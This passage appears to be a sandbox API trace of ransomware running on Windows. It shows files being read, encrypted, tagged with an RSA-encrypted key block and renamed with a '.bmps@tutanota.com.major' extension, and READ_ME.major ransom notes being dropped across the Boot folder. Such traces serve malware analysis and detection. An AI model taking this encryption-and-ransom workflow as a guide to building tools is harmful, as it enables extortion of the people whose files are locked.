(in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.734] CloseHandle (hObject=0x454) returned 1 [0121.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ae388 | out: hHeap=0x570000) returned 1 [0121.737] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), lpNewFileName="\\588bce7c90097ed212\\DisplayIcon.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0121.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0121.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0121.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0121.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0121.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0121.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0121.739] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.739] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\DHtmlHeader.html", dwFileAttributes=0x80) returned 1 [0121.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0121.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0121.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0121.739] CreateFileW (lpFileName="\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0121.739] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16118) returned 1 [0121.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3ef6) returned 0x5cdfe8 [0121.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3ef6) returned 0x5d1ee8 [0121.740] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x3ef6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x3ef6, lpOverlapped=0x0) returned 1 [0121.775] SetFilePointer (in: hFile=0x454, lDistanceToMove=-16118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.775] WriteFile (in: hFile=0x454, lpBuffer=0x5d1ee8*, nNumberOfBytesToWrite=0x3ef6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1ee8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3ef6, lpOverlapped=0x0) returned 1 [0121.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0121.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1ee8 | out: hHeap=0x570000) returned 1 [0121.775] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3ef6 [0121.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.775] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0121.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0121.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0121.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5ae388 [0121.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5ae388, pcchString=0x2e3f9a8 | out: pszString="3TNTwBZ7NwMWtdtozsHsu0UaB0zstTc+43bl3TQb30zOuyrBY9Iln0PWCU4ZXptK\nNGJt7Xbddf689q6I9jWsqGI03Dybt30121H45sy0fixexB4faAxXzQ19uzvBGofH\nrWaIcalsh8Adiqdhe6HCutqgrdFIw5upMhPhNfCh0O0E+2ufmn0tUdWR+DEXIFNT\nBKWzX1tnZgO+/VK670ihTGpWi8sikCWrEE+r+NfvuO3m9hpoWD6/3Rw8SABqQOxi\nD2MqvV3Lm9auf9hQel76oj3Yp8DnBvT6Vfjk3bEPlBI9InzNOiwWRMUOgro/SPIs\nmlHAjCuDGSHkpfcZkgkXbw==\n", pcchString=0x2e3f9a8) returned 1 [0121.776] WriteFile (in: hFile=0x454, lpBuffer=0x5ae388*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ae388*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0121.776] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0121.776] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0121.776] CloseHandle (hObject=0x454) returned 1 [0121.777] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ae388 | out: hHeap=0x570000) returned 1 [0121.777] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), lpNewFileName="\\588bce7c90097ed212\\DHtmlHeader.html.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab220 | out: hHeap=0x570000) returned 1 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0121.784] FindFirstFileW (in: lpFileName="\\Boot\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfecbcdfd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3310 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0121.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.784] GetLastError () returned 0x0 [0121.784] SetLastError (dwErrCode=0x0) [0121.784] GetLastError () returned 0x0 [0121.784] SetLastError (dwErrCode=0x0) [0121.784] GetLastError () returned 0x0 [0121.784] SetLastError (dwErrCode=0x0) [0121.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab220 [0121.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0121.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0121.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2f50 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2f50 | out: hHeap=0x570000) returned 1 [0121.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0121.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0121.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0121.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab220 | out: hHeap=0x570000) returned 1 [0121.785] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfecbcdfd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0121.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.785] GetLastError () returned 0x0 [0121.785] SetLastError (dwErrCode=0x0) [0121.786] GetLastError () returned 0x0 [0121.786] SetLastError (dwErrCode=0x0) [0121.786] GetLastError () returned 0x0 [0121.786] SetLastError (dwErrCode=0x0) [0121.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab220 [0121.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0121.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0121.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0121.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a34d0 [0121.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a34d0 | out: hHeap=0x570000) returned 1 [0121.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0121.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0121.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0121.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab220 | out: hHeap=0x570000) returned 1 [0121.786] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BCD", cAlternateFileName="")) returned 1 [0121.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.786] GetLastError () returned 0x0 [0121.786] SetLastError (dwErrCode=0x0) [0121.786] GetLastError () returned 0x0 [0121.786] SetLastError (dwErrCode=0x0) [0121.786] GetLastError () returned 0x0 [0121.786] SetLastError (dwErrCode=0x0) [0121.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0121.786] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0121.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.786] GetLastError () returned 0x0 [0121.786] SetLastError (dwErrCode=0x0) [0121.786] GetLastError () returned 0x0 [0121.787] SetLastError (dwErrCode=0x0) [0121.787] GetLastError () returned 0x0 [0121.787] SetLastError (dwErrCode=0x0) [0121.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0121.787] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0121.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.787] GetLastError () returned 0x0 [0121.787] SetLastError (dwErrCode=0x0) [0121.787] GetLastError () returned 0x0 [0121.787] SetLastError (dwErrCode=0x0) [0121.787] GetLastError () returned 0x0 [0121.787] SetLastError (dwErrCode=0x0) [0121.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0121.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0121.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0121.787] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0121.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.787] GetLastError () returned 0x0 [0121.787] SetLastError (dwErrCode=0x0) [0121.787] GetLastError () returned 0x0 [0121.787] SetLastError (dwErrCode=0x0) [0121.787] GetLastError () returned 0x0 [0121.787] SetLastError (dwErrCode=0x0) [0121.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0121.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0121.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0121.787] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0121.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.788] GetLastError () returned 0x0 [0121.788] SetLastError (dwErrCode=0x0) [0121.788] GetLastError () returned 0x0 [0121.788] SetLastError (dwErrCode=0x0) [0121.788] GetLastError () returned 0x0 [0121.788] SetLastError (dwErrCode=0x0) [0121.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0121.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0121.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0121.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0121.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0121.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.788] GetLastError () returned 0x0 [0121.788] SetLastError (dwErrCode=0x0) [0121.788] GetLastError () returned 0x0 [0121.788] SetLastError (dwErrCode=0x0) [0121.788] GetLastError () returned 0x0 [0121.788] SetLastError (dwErrCode=0x0) [0121.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.788] CreateFileW (lpFileName="\\Boot\\bg-BG\\READ_ME.major" (normalized: "c:\\boot\\bg-bg\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.789] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.789] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.790] CloseHandle (hObject=0x458) returned 1 [0121.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0121.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0121.790] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0121.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.790] GetLastError () returned 0x0 [0121.790] SetLastError (dwErrCode=0x0) [0121.790] GetLastError () returned 0x0 [0121.790] SetLastError (dwErrCode=0x0) [0121.790] GetLastError () returned 0x0 [0121.790] SetLastError (dwErrCode=0x0) [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc918 [0121.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc918 | out: hHeap=0x570000) returned 1 [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab220 [0121.791] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0121.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.791] GetLastError () returned 0x0 [0121.791] SetLastError (dwErrCode=0x0) [0121.791] GetLastError () returned 0x0 [0121.791] SetLastError (dwErrCode=0x0) [0121.791] GetLastError () returned 0x0 [0121.791] SetLastError (dwErrCode=0x0) [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0121.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0121.791] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0121.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.791] GetLastError () returned 0x0 [0121.791] SetLastError (dwErrCode=0x0) [0121.791] GetLastError () returned 0x0 [0121.791] SetLastError (dwErrCode=0x0) [0121.791] GetLastError () returned 0x0 [0121.791] SetLastError (dwErrCode=0x0) [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0121.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x591300 [0121.791] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0121.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.791] GetLastError () returned 0x0 [0121.792] SetLastError (dwErrCode=0x0) [0121.792] GetLastError () returned 0x0 [0121.792] SetLastError (dwErrCode=0x0) [0121.792] GetLastError () returned 0x0 [0121.792] SetLastError (dwErrCode=0x0) [0121.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc918 [0121.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0121.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0121.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0121.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0121.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.792] GetLastError () returned 0x0 [0121.792] SetLastError (dwErrCode=0x0) [0121.792] GetLastError () returned 0x0 [0121.792] SetLastError (dwErrCode=0x0) [0121.792] GetLastError () returned 0x0 [0121.792] SetLastError (dwErrCode=0x0) [0121.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.792] CreateFileW (lpFileName="\\Boot\\cs-CZ\\READ_ME.major" (normalized: "c:\\boot\\cs-cz\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.800] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.801] CloseHandle (hObject=0x458) returned 1 [0121.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0121.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0121.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | 